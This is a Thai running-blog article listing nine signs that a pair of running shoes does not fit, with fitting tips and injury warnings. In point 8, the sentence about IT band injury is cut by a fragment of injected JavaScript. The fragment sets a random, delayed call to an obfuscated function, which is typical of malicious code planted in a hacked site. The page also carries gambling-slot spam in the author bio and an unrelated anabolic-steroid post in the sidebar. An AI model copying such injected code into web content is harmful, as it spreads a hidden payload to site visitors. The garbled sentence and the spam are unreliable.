• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

เราเข้ากันไม่ได้… 9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ

kan by kan
3 May 2018
in Running Tips, Tips & Technics
0
4 สิ่งห้ามลืมหลังจากจบงานวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ เป็นสัญญาณที่บ่งบอกว่ารองเท้านี้ไปกับคุณไม่ได้ ก็เหมือนกับคนรัก ที่ต่อให้เรารักแค่ไหน แต่ถ้าไปด้วยกันไม่ได้ ก็ต้องเลิก

การเลือกซื้อรองเท้าวิ่งจะค่อนข้างแตกต่างจากการเลือกซื้อรองเท้าใส่เดินเล่นทั่วไปหรือรองเท้าแฟชั่นที่เรานิยมกันว่า Sneaker อย่างเช่น เราต้องดูน้ำหนักรองเท้าต่อระยะทางที่เราใช้วิ่ง ใช้วิ่งแข่งทำเวลาก็ต้องมีน้ำหนักเบา จะเอาสวยก็คงไม่ได้ ช่องว่างเว้นระหว่างนิ้วเท้าและปลายรองเท้าก็ควรเว้นไว้ 0.25-0.5 cm เพราะเวลาวิ่งระยะทางไกล เท้าเราจะขยายใหญ่ขึ้น หากเลือกคับไป อาจจะทำให้เสียดสีกับรองเท้าได้ นอกจากนี้ รองเท้าวิ่งจะต้องมีความแข็งแรงที่สามารถรองรับ Workload จากการเคลื่อนไหวของเราได้ ทนทานต่อแรงกระชาก การบิดดึงผืนผ้าตลอดเวลาที่วิ่ง

9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ

9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ

1. จะใส่รองเท้าทั้งทีก็ต้องคลายเชือกรองเท้าเกือบหมด ลองสังเกตุดีๆ นะครับ ว่าการถอดใส่รองเท้าทุกครั้งเราต้องคลายเชือกรัดแทบทั้งหมด ถ้าเป็นอย่างนี้แสดงว่ารองเท้าเราแคบไป แนะนำให้ปรับไซด์ให้ใหญ่ขึ้นอีก 0.5-1 เบอร์

2. ส้นหลุด หรือมีอาการส้นเลื่อนไปมาระหว่างการเดิน โดยเฉพาะจังหวะการวิ่งไต่เขาขึ้นเนิน โดยปกติส้นเราควรมีช่องว่างให้พอขยับได้ แต่ถ้าวิ่งทุกครั้งแล้วเหมือนจะหลุดออกมา แสดงว่าไซด์ใหญ่ไปหน่อย วิธีแก้อย่างง่ายๆ คือการรัดเชือกรองเท้าขึ้นมาอีกหนึ่งรู (ช่องรูท้ายสุดบริเวณข้อเท้า) จะช่วยให้รองเท้ากระชับขึ้น

3. นิ้วเท้าแตะกับขอบรองเท้าด้านหน้า หรือครูดไปมาเวลาวิ่งนานๆ มีอาการนิ้วชนขอบรองเท้าเวลาวิ่ง อาการนิ้วช้ำและเล็บดำ ถ้าเกิดอาการอย่างนี้แนะนำให้เปลี่ยนไซด์รองเท้าให้ใหญ่ขึ้น วิธีเลือกรองเท้าให้เหมาะกับเราอย่างๆ ง่ายๆ คือ ต้องมีช่องว่างระหว่างนิ้วเท้าและขอบรองเท้า ประมาณหนึ่งนิ้วโป้งหรือนิ้วชี้ก็ได้ ใส่แล้วนิ้วเท้าควรจะกระดิกขึ้นลงได้ ปล.เวลาซื้อรองเท้าเราอย่าลืมว่าเวลาวิ่งแล้วฝ่าเท้าจะขยายขึ้น

4. มีอาการปวดเมื่อยฝ่าเท้า (บริเวณเว้าฝ่าเท้า) เวลาจบการวิ่ง Long Run หรือมีอาการกล้ามเนื้อน่องหรือเอ็นร้อยหวายตึง ถ้ามีอาการอย่างนี้แสดงว่ารูปทรงรองเท้าไม่เหมาะกับเรา รองเท้าอาจจะคับและแข็งไม่มีความยืดหยุ่น หรือพื้นรองเท้าสำหรับซับพอร์ตแรงกระแทกบางไป (สำหรับอาการน่องดึง ต้องดูด้วยว่าเวลาใส่รองเท้าคู่อื่นแล้วมีอาการเหมือนเดิมไหม หรือว่าอ่อนซ้อมเลยทำให้น่องตึง)

5. หลังเท้าชาหรือปวดเมื่อย อาการอย่างนี้แสดงว่าส่วน Upper ของรองเท้า (ส่วนที่รอยเชือก) คับหรือหลวมไป

9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ

6. เท้าพอง มีตุ่มน้ำหรือคาปลาบริเวณสองข้างเท้า อาการอย่างนี้แสดงว่ารองเท้าวิ่งเรามีขนาดกว้างเกินไป วิธีเลือกรองเท้าว่ามีขนาดกว้างพอดีหรือไม่ อย่างแรกคือถ้าฝ่าเท้าเราเลยออกขอบรองเท้ามาเวลาสวมใส่ แสดงว่ารองเท้าคับไป ข้อที่สองให้สังเกตุดูที่นิ้วก้อย ควรจะมีพื้นที่เหลือระหว่างนิ้วกับขอบรองเท้าประมาณ ¼ นิ้ว

7. ใส่วิ่งแล้วเท้าร้อน นั้นแสดงว่าพื้นรองเท้า (Sole) เรามีความแข็งกระด่างไม่ยืดหยุ่น ควรมองหารองเท้าที่พื้นมีความนุ่มกว่านี้

8. วิ่งแล้วมีอาการเจ็บแปลบๆ ที่บริเวณเข่า โดยเฉพาะเวลาวิ่งลงเนิน อาการอย่างนี้อาจจะทำให้เกิด ITBandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ได้ เนื่องจากเอ็นมีอาการอักเสบ เราสามารถเลี่ยงได้โดยการเปลี่ยนรองเท้าที่มีความฟิตเข้ากับรูปเท้าเรามากกว่านี้และปรับเปลี่ยนท่าวิ่งให้ถูกต้อง

9. ปวดเท้ามากและไม่มีทีท่าจะลดลง แม้จะลองวิ่งไปพักใหญ่แล้วก็ตาม ปัญหาเป็นเพราะรองเท้าหลวมเกินไป มีช่องว่างทำให้ฝ่าเท้ามีการเคลื่อนไหวมากเกินไป กล้ามเนื้อต้องทำงานหนักเพื่อรักษาบาลานซ์ในการประคับประคองฝ่าเท้า ทำให้เกินการสะสมความเครียดและความล้ามากขึ้น หรือทรงรองเท้าไม่เหมาะสมกับรูปเท้าของเรา

หากท่านใดที่เจอใน 9 สัญญาณดังกล่าว ขอแนะนำให้พิจารณาทำการเปลี่ยนรองเท้าวิ่งคู่ใจเสียใหม่ ไม่อย่างนั้นจะส่งผลเสียทำให้เกิดอาการบาดเจ็บ ไม่ว่าจะเป็นเรื่องของกล้ามเนื้อ, เส้นเอ็น หรือ เล็บช้ำ จนทำให้ออกวิ่งไม่ได้ แล้วจะเสียใจในภายหลังนะครับ

ที่มา – Men’s Journal

ShareTweetShare
kan

kan

slot demositus totoserver thailand

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน

    0 shares
    Share 0 Tweet 0
  • วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.